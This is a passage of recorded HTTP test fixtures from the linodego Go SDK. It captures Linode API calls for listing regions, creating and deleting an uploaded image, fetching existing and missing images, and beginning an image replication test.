"maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "24356" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx/1.14.2 Strict-Transport-Security: - max-age=31536000 - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","label":"linodego-image-create-upload","description":"An image that does stuff.","cloud_init":true,"tags":["foo","bar"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/upload method: POST response: body: '{"upload_to": "https://ap-south-1.linodeobjects.com:443/linode-production-machine-images-uploads/26428985?Signature=YSPz1TGmUEONHST2rp1RHHe4FjM%3D&Expires=1722022632&AWSAccessKeyID=SANITIZED", "image": {"id": "private/26428985", "label": "linodego-image-create-upload", "description": "An image that does stuff.", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "size": 0, "created_by": "ychen123", "type": "manual", "tags": ["bar", "foo"], "is_public": false, "deprecated": false, "vendor": null, "expiry": null, "eol": null, "status": "pending_upload", "capabilities": ["cloud-init"], "regions": [], "total_size": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "650" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx/1.14.2 Strict-Transport-Security: - max-age=31536000 - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/private%2F26428985 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - private, max-age=60, s-maxage=60 Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx/1.14.2 Strict-Transport-Security: - max-age=31536000 - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestImage_GetFound.yaml000066400000000000000000000043471474652371000311350ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/linode%2Fubuntu22.04 method: GET response: body: '{"id": "linode/ubuntu22.04", "label": "Ubuntu 22.04 LTS", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "tags": [], "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available", "capabilities": ["cloud-init"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "373" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestImage_GetMissing.yaml000066400000000000000000000027541474652371000314730ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images/does-not-exist method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "37" Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:50 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - images:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestImage_Replicate.yaml000066400000000000000000001062051474652371000313260ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, 